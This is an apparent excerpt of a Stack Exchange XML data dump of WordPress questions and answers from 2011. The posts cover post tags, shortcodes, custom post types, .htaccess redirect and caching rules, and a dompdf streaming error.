FavoriteCount="2" />
  <row Id="18984" PostTypeId="2" ParentId="18981" CreationDate="2011-06-01T21:09:10.160" Score="2" ViewCount="" Body="&lt;p&gt;Not much information to go on... Start with elimination - disable the plugins, switch to default (or better - blank) theme. If it gets better - just find code at fault. If you are down to the bare and clean WP core and still having the issue - likely you have some server configuration issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have considerable control over server you can also hook up some PHP profiler and try to make a dump of what is going on.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:09:10.160" CommentCount="2" />
  <row Id="18985" PostTypeId="2" ParentId="18983" CreationDate="2011-06-01T21:13:55.683" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_tags&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp_get_post_tags&lt;/strong&gt;&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = wp_get_post_tags($post-&amp;gt;ID);&#xA;$tag_list = &quot;&quot;;&#xA;foreach($tags as $tag){&#xA;    $tag_list .= $tag-&amp;gt;name . &quot; &quot;;&#xA;}&#xA;echo &quot;&amp;lt;li class=\&quot;$tag_list\&quot;&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T21:13:55.683" CommentCount="1" />
  <row Id="18986" PostTypeId="2" ParentId="18983" CreationDate="2011-06-01T21:22:30.667" Score="2" ViewCount="" Body="&lt;p&gt;You can play with arguments to only fetch what you need and get rid of loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$classes = implode(' ', wp_get_post_tags( get_the_ID(), array('fields' =&amp;gt; 'names') ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:22:30.667" CommentCount="1" />
  <row Id="18987" PostTypeId="2" ParentId="18982" CreationDate="2011-06-01T21:26:17.327" Score="0" ViewCount="" Body="&lt;p&gt;What exactly do you mean by separated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want multiple tags clouds you will probably need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fetch full list of terms;&lt;/li&gt;&#xA;&lt;li&gt;split it into groups by your criteria;&lt;/li&gt;&#xA;&lt;li&gt;call &lt;code&gt;wp_tag_cloud()&lt;/code&gt; for each group, using &lt;code&gt;include&lt;/code&gt; argument to use specific subset of terms.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:26:17.327" CommentCount="1" />
  <row Id="18988" PostTypeId="2" ParentId="18976" CreationDate="2011-06-01T21:38:45.637" Score="0" ViewCount="" Body="&lt;p&gt;If you suspect content-specific issue, I'd first try to start with clean site and set of test content instead ( official &lt;a href=&quot;http://codex.wordpress.org/Theme_Unit_Test&quot; rel=&quot;nofollow&quot;&gt;Theme Unit Test&lt;/a&gt; data for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If processing content is indeed at fault this is quite unusual issue. If you can narrow it down to specific function it might be possible to build some kind of test case, by getting content directly from database and running it through that function, while measuring resource consumption.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:38:45.637" CommentCount="2" />
  <row Id="18989" PostTypeId="2" ParentId="18975" CreationDate="2011-06-01T21:41:14.013" Score="0" ViewCount="" Body="&lt;p&gt;It is likely execution never reaches your code. Either you put it in wrong place, or your condition never happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check by outputting some visual markers there and using &lt;code&gt;var_dump()&lt;/code&gt; to check your condition.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:41:14.013" />
  <row Id="18990" PostTypeId="2" ParentId="18917" CreationDate="2011-06-01T21:56:09.263" Score="1" ViewCount="" Body="&lt;p&gt;I don't see this as excessively heavy. Just use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_user_logged_in()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_user_can()&lt;/code&gt;&lt;/a&gt;. Obviously if user isn't logged in then you can skip checking for any roles. I am not sure, but user data is probably held in memory so there will be no extra database calls and such.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T21:56:09.263" />
  <row Id="18991" PostTypeId="2" ParentId="16667" CreationDate="2011-06-01T22:05:22.050" Score="0" ViewCount="" Body="&lt;p&gt;You should use one of query functions - &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt;, it allows to very flexibly configure set of posts to retrieve.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T22:05:22.050" />
  <row Id="18992" PostTypeId="2" ParentId="7565" CreationDate="2011-06-01T22:18:33.027" Score="1" ViewCount="" Body="&lt;p&gt;The only currently available &lt;a href=&quot;http://codex.wordpress.org/Theme_Features&quot; rel=&quot;nofollow&quot;&gt;Theme Features&lt;/a&gt; of this kind are for header and background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sliders are very popular feature so best bet to get such functionality is look through available plugins.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T22:18:33.027" />
  <row Id="18994" PostTypeId="2" ParentId="18972" CreationDate="2011-06-01T22:24:20.853" Score="2" ViewCount="" Body="&lt;p&gt;I'm almost sure there is no way to do that (server side) without hacking core files, bu luckly i know a little jQuery and i've come up with this hackish function that does the job just fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KwQPl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget_logic_hack(){ &#xA;global $pagenow;&#xA;if ($pagenow == 'widgets.php'){&#xA;    ?&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;    function hack_logic(){&#xA;     jQuery('input[id$=&quot;widget_logic&quot;]').each(function()&#xA;        {       &#xA;                if (jQuery(this).val().length === 0){}else{&#xA;                    var id = this.id;&#xA;                    var value = jQuery(this).val();&#xA;                    //alert(value);&#xA;                    id = id.replace('-widget_logic','');&#xA;                    var currenttitle = jQuery(&quot;[id$='&quot;+ id +&quot;']&quot;).find('h4').html();&#xA;                    if (currenttitle.indexOf('Displayed on:') !=-1 ){&#xA;                        var ncurrenttitle = currenttitle.substring(0,(currenttitle.indexOf('Displayed on:')));&#xA;                        //alert(ncurrenttitle);&#xA;                         jQuery(&quot;[id$='&quot;+ id +&quot;']&quot;).find('h4').html(ncurrenttitle + 'Displayed on: &amp;lt;span class=&quot;in-widget-title&quot;&amp;gt;' + value + '&amp;lt;/span&amp;gt;');&#xA;                    }else{&#xA;                        jQuery(&quot;[id$='&quot;+ id +&quot;']&quot;).find('h4').html(currenttitle + '&amp;lt;br /&amp;gt; Displayed on: &amp;lt;span class=&quot;in-widget-title&quot;&amp;gt;' + value + '&amp;lt;/span&amp;gt;');&#xA;                    }&#xA;                }&#xA;        });&#xA;    }&#xA;    jQuery(document).ready(function(){&#xA;        setTimeout(&quot;hack_logic()&quot;,500);&#xA;        jQuery('#savewidget').live('click', function() {&#xA;             setTimeout(&quot;hack_logic()&quot;,5500);&#xA;             return true;&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;style&amp;gt;.widget .widget-top {height: 40px !important;}&amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;}&#xA;&#xA;add_action('admin_footer','widget_logic_hack');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-02T12:55:09.047" LastActivityDate="2011-06-02T12:55:09.047" CommentCount="4" />
  <row Id="18995" PostTypeId="2" ParentId="7642" CreationDate="2011-06-01T22:25:37.597" Score="1" ViewCount="" Body="&lt;p&gt;My educated guess is the issue comes from attachment being separate post type. It might seem like utility by purpose, but by nature it is specialized post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately your specific setup is not trivial to reproduce to confirm.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-01T22:25:37.597" />
  <row Id="18996" PostTypeId="2" ParentId="18968" CreationDate="2011-06-01T22:53:52.563" Score="3" ViewCount="" Body="&lt;h2&gt;Redirects and pretty permalinks without mod_rewrite&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# - script kiddies&#xA;&#xA;Redirect permanent /admin.php http://localhost&#xA;Redirect permanent /_vti_bin http://localhost&#xA;Redirect permanent /css http://localhost&#xA;Redirect permanent /site http://localhost&#xA;Redirect permanent /s/ http://localhost&#xA;Redirect permanent /v/ http://localhost&#xA;Redirect permanent /html http://localhost&#xA;Redirect permanent /stil http://localhost&#xA;Redirect permanent /wp-content/cache.php http://localhost&#xA;&#xA;&#xA;# - stupid robots&#xA;&#xA;Redirect permanent /sitemap.gz /sitemap.xml.gz&#xA;Redirect permanent /default.htm /&#xA;Redirect permanent /feeds/posts/default /feed/&#xA;&#xA;- URL truncating&#xA;&#xA;RedirectMatch Permanent ^/page/$ /&#xA;# /category/ and /comments/ to a TOC&#xA;RedirectMatch Permanent ^/(category|comments)/$ /uebersicht/&#xA;&#xA;# Git only! :)&#xA;RedirectMatch Permanent \.(svn|cvs|SVN|CVS|bzr) http://localhost&#xA;&#xA;# Bots searching for mobile versions&#xA;# see http://perishablepress.com/press/2010/04/26/stop-404-requests-for-mobile-versions-of-your-site/#comment-78105&#xA;RedirectMatch gone /mobi(le)?($|/)&#xA;RedirectMatch gone /iphone($|/)&#xA;&#xA;# - 410&#xA;&#xA;# Old feeds are dead&#xA;Redirect gone /2008/feed/&#xA;Redirect gone /2009/feed/&#xA;Redirect gone /2010/feed/&#xA;&#xA;# stupid bots and browsers again&#xA;&#xA;Redirect gone /crossdomain.xml&#xA;Redirect gone /labels.rdf&#xA;Redirect gone /.well-known&#xA;Redirect gone /parent-page&#xA;RedirectMatch gone .*/config$&#xA;&#xA;# Pretty permalinks without mod_rewrite!&#xA;ErrorDocument 404 /index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-01T22:53:52.563" CommunityOwnedDate="2011-06-01T22:53:52.563" CommentCount="2" />
  <row Id="18999" PostTypeId="2" ParentId="18968" CreationDate="2011-06-01T23:19:31.387" Score="5" ViewCount="" Body="&lt;h2&gt;Better rewrite rules for WordPress permalinks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By default WordPress sends a 404 HTML page for missing images and stylesheets – they are never rendered by a browser. And it catches your symbolic links. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Images, Stylesheets etc. don't need a HTML 404&#xA;RewriteCond %{REQUEST_URI} !.+\.\w{2,4}$&#xA;# Existing file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# Existing directory&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# Symbolic link&#xA;RewriteCond %{REQUEST_FILENAME} !-l&#xA;RewriteRule ^ index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-01T23:19:31.387" CommunityOwnedDate="2011-06-01T23:19:31.387" CommentCount="2" />
  <row Id="19000" PostTypeId="1" CreationDate="2011-06-01T23:43:49.693" Score="1" ViewCount="134" Body="&lt;p&gt;I'm getting the following warning in my WP admin custom posts listings page (&lt;code&gt;wp-admin/edit.php?post_type=video&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Warning: Illegal offset type in isset or empty in wp-includes/post.php on line 817&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running WordPress v3.1.3 (latest). Line 817 is &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/post.php#L817&quot; rel=&quot;nofollow&quot;&gt;in the function &lt;code&gt;get_post_type_object()&lt;/code&gt;&lt;/a&gt; . A search finds me these threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/warning-illegal-offset-type-in-isset-or-empty&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/warning-illegal-offset-type-in-isset-or-empty&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/error-when-searching-for-posts-in-the-backend-illegel-offset&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/error-when-searching-for-posts-in-the-backend-illegel-offset&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These mention some different potential causes - e.g. it might be &lt;a href=&quot;https://core.trac.wordpress.org/ticket/12704&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/ticket/12704&lt;/a&gt; - but that's now fixed (I'm running v3.1.3) - and the final post in one reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically, you have a plugin&#xA;  registering a post type incorrectly,&#xA;  and then core complains. It isn't a&#xA;  bug in core best I can tell.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do have a plugin (my own) registering a post type, but I think it's doing it correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code. (Note that I was originally calling these &quot;video&quot; posts but later renamed the front-end description to &quot;Training Module&quot;, but left the original post-type name).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function video_register() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Modules', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Training Module', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New Module', 'video item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Training Module'),&#xA;        'edit_item' =&amp;gt; __('Edit Training Module'),&#xA;        'new_item' =&amp;gt; __('New Training Module'),&#xA;        'view_item' =&amp;gt; __('View Training Module'),&#xA;        'search_items' =&amp;gt; __('Search Training Modules'),&#xA;        'not_found' =&amp;gt;  __('No Training Modules found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No Training Modules found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; 'video',&#xA;        'menu_icon' =&amp;gt; 'video16x16.png',&#xA;        'rewrite' =&amp;gt; array('slug'=&amp;gt;'training','with_front'=&amp;gt;false),&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; '15',&#xA;        'supports' =&amp;gt; array('title','author','editor','custom-fields','revisions','comments','trackbacks'),&#xA;        'taxonomies' =&amp;gt; array('category', 'post_tag')&#xA;      );&#xA;    register_post_type( 'video' , $args );&#xA;}&#xA;add_action('init', 'video_register');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a problem there? Why am I seeing the warning?&lt;/p&gt;&#xA;" OwnerUserId="4642" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-06-02T07:23:59.423" LastActivityDate="2011-08-16T02:25:08.483" Title="Illegal offset type in get_post_type_object()?" Tags="&lt;custom-post-types&gt;&lt;errors&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="19001" PostTypeId="1" CreationDate="2011-06-02T00:29:14.253" Score="0" ViewCount="54" Body="&lt;p&gt;I am trying to figure out how to structure a custom post type that acts as a parent to many &quot;media&quot; items. By a parent, I mean it is a post which can contain videos, pdf attachments, mp3s, etc. attached as meta data (separate fields, not media in the post body) to be shown on the page. There were a few ways I was thinking about approaching the design of the post type:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use custom fields via the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;Simple Fields&lt;/a&gt; plugin. &lt;/li&gt;&#xA;&lt;li&gt;Create a separate custom post type for videos, pdfs, mp3s and create a relationship between the posts via a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are some of my thoughts, but I wanted to ask if anyone had a recommended approach to designing this post structure. Ultimately, I am looking for a solution that has as little development overhead as possible, yet still simple enough that someone can easily add media meta content to the post.&lt;/p&gt;&#xA;" OwnerUserId="5664" LastActivityDate="2011-06-02T00:29:14.253" Title="How to structure custom post type with multiple media meta items" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;media&gt;&lt;cms&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="19002" PostTypeId="1" AcceptedAnswerId="25985" CreationDate="2011-06-02T00:44:42.007" Score="1" ViewCount="92" Body="&lt;p&gt;I began adding new users to my site tonight, all as authors. Is there a limitation to the number of users or how quickly they are added, after adding the 50th user there seems to be a minute or two delay before wordpress will allow me to add the next user.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-08-15T18:35:36.093" Title="Limitations when adding new users" Tags="&lt;users&gt;" AnswerCount="1" />
  <row Id="19003" PostTypeId="1" AcceptedAnswerId="19006" CreationDate="2011-06-02T02:12:24.600" Score="2" ViewCount="96" Body="&lt;p&gt;Imagine this basic shortcode in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function div_shortcode( $atts ) {&#xA;   return '&amp;lt;div class=&quot;div&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('div', 'div_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So every  &lt;code&gt;[div]&lt;/code&gt; in Wordpress editor gives &lt;code&gt;&amp;lt;div class=&quot;div&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything looks and works fine, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here comes the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to use my shortcode in PHP file (not putting it via WP Text Editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily there's a function for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_shortcode('[div]'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, wait, it shows... nothing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_shortcode('[gallery]'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even this one doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that happening? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-02T03:35:11.657" Title="do_shortcode() doesn't do shortcodes ;)" Tags="&lt;theme-development&gt;&lt;shortcode&gt;&lt;do-shortcode&gt;" AnswerCount="1" />
  <row Id="19004" PostTypeId="2" ParentId="18968" CreationDate="2011-06-02T02:16:31.643" Score="8" ViewCount="" Body="&lt;p&gt;These are 3 snippet for better performance, regarding Yahoo! rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disable Etags:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header unset ETag&#xA;FileETag None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add expire headers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(ico|jpg|jpeg|png|gif|js|css|swf)$&quot;&amp;gt;&#xA;Header set Expires &quot;Tue, 16 Jun 2020 20:00:00 GMT&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExpiresActive On&#xA;ExpiresByType text/html &quot;access plus 1 day&quot;&#xA;ExpiresByType image/gif &quot;access plus 10 years&quot;&#xA;ExpiresByType image/jpeg &quot;access plus 10 years&quot;&#xA;ExpiresByType image/png &quot;access plus 10 years&quot;&#xA;ExpiresByType text/css &quot;access plus 10 years&quot;&#xA;ExpiresByType text/javascript &quot;access plus 10 years&quot;&#xA;ExpiresByType application/x-javascript &quot;access plus 10 years&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compress plain text file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(js|css|html|htm|php|xml)$&quot;&amp;gt;&#xA;SetOutputFilter DEFLATE&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more about them &lt;a href=&quot;http://www.deluxeblogtips.com/2010/06/htaccess-rules-website-performace.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Redirect requests to www domain&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.domain\.tld [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.tld/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Block request to xmlrpc.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this only when you don't use remote publishing as it can prevent your blog from hacks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)xmlrpc\.php$ http://www.domain.tld [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Redirect all feeds to feedburner&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]&#xA;RewriteRule ^feed/?.*$ http://feeds.feedburner.com/feed_uri [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastEditorUserId="2051" LastEditorDisplayName="" LastEditDate="2011-06-08T09:08:39.447" LastActivityDate="2011-06-08T09:08:39.447" CommunityOwnedDate="2011-06-02T02:16:31.643" CommentCount="6" />
  <row Id="19005" PostTypeId="2" ParentId="13768" CreationDate="2011-06-02T02:22:01.187" Score="-1" ViewCount="" Body="&lt;p&gt;I don't think WP handles magic quotes internally. I always use this code to check the magic quote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = get_magic_quotes_gpc() ? $value : stripslashes($value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-02T02:22:01.187" CommentCount="1" />
  <row Id="19006" PostTypeId="2" ParentId="19003" CreationDate="2011-06-02T03:35:11.657" Score="6" ViewCount="" Body="&lt;p&gt;The shortcode functions just return a value, you need to echo or assign it to something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[div]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-02T03:35:11.657" CommentCount="1" />
  <row Id="19007" PostTypeId="1" CreationDate="2011-06-02T04:15:43.630" Score="1" ViewCount="167" Body="&lt;p&gt;I have used dompdf to display the user information in admin of my wordpress project. While generating the PDF file it works perfectly in my local server. But in live server &quot;Unable to stream pdf: headers already sent&quot; message is displayed. The page where pdf is generated is &lt;a href=&quot;http://mysite.com/wp-admin/admin.php?page=certificate&amp;amp;id=4&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-admin/admin.php?page=certificate&amp;amp;id=4&lt;/a&gt;. The file for this link is include(ABSPATH.&quot;wp-content/themes/ncc/certificate.php&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once(&quot;dompdf/dompdf_config.inc.php&quot;);&#xA;ob_end_clean();&#xA;ob_start();&#xA;?&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;.fnt_italic { &#xA;    font-size: 18px;&#xA;    font-style: italic;&#xA;    font-weight:bold;&#xA;    font-family:Arial, Helvetica, sans-serif;&#xA;}&#xA;.clsTd {&#xA;    font-size: 12px;&#xA;    /*font-family:&quot;Courier New&quot;, Courier, monospace!important;*/&#xA;}&#xA;.clsBg {&#xA;    background-color:#000;&#xA;}&#xA;.clsBgGray {&#xA;    background-color:#CCCCCC;&#xA;}&#xA;.clsBgWhite {&#xA;    background-color:#FFF;&#xA;}&#xA;.clsBold {&#xA;    font-weight: bold;&#xA;}&#xA;.tbl { border:1px double #000000; }&#xA;.notes { font-size:10px; color:#999999; }&#xA;.clsDiv { padding-top: 20px; }&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;div class=&quot;clsDiv&quot;&amp;gt;&#xA;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;6&quot; cellspacing=&quot;2&quot; width=&quot;90%&quot; class=&quot;tbl&quot;&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;      &amp;lt;table border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;2&quot; width=&quot;90%&quot; align=&quot;center&quot;&amp;gt;&#xA;         &amp;lt;tbody&amp;gt;&#xA;          &amp;lt;tr align=&quot;center&quot;&amp;gt;&#xA;            &amp;lt;td class=&quot;fnt_italic&quot; colspan=&quot;2&quot;&amp;gt;Certificate&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          &amp;lt;tr align=&quot;center&quot;&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot;&amp;gt;Name&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          &amp;lt;tr align=&quot;center&quot;&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot; class=&quot;clsTd&quot;&amp;gt;Email id&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;         &amp;lt;/tbody&amp;gt;&#xA;       &amp;lt;/table&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;       &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/php&quot;&amp;gt;&#xA;if ( isset($pdf) ) {&#xA;&#xA;  $font = Font_Metrics::get_font(&quot;helvetica&quot;);&#xA;  $size = 9;&#xA;  $text_height = Font_Metrics::get_font_height($font, $size);&#xA;&#xA;  $foot = $pdf-&amp;gt;open_object();&#xA;  $w = $pdf-&amp;gt;get_width();&#xA;  $h = $pdf-&amp;gt;get_height();&#xA;  $y = $h - $text_height - 40;&#xA;  $pdf-&amp;gt;close_object();&#xA;  $pdf-&amp;gt;add_object($foot, &quot;all&quot;);&#xA;  $color = array(0,0,255);&#xA;  $text2 = &quot;Page: {PAGE_NUM} of {PAGE_COUNT}&quot;;&#xA;  $pdf-&amp;gt;page_text(710, $y, $text2, $font, $size, $color);&#xA;  $text = &quot;Text&quot;; &#xA;  $pdf-&amp;gt;page_text(15, $y, $text, $font, $size, $color);&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;$data = ob_get_clean();&#xA;$old_limit = ini_set(&quot;memory_limit&quot;, &quot;64M&quot;);&#xA;$dompdf = new DOMPDF();&#xA;$size = array(0,0,800.00,700.00);&#xA;$dompdf-&amp;gt;load_html($data);&#xA;$dompdf-&amp;gt;set_paper($size);&#xA;$dompdf-&amp;gt;render();&#xA;$dompdf-&amp;gt;stream('certificate.pdf');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me what is the creating problem here. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-07-01T18:27:22.593" Title="Unable to stream pdf: headers already sent problem in dompdf" Tags="&lt;wp-admin&gt;&lt;header&gt;&lt;pdf&gt;" AnswerCount="0" 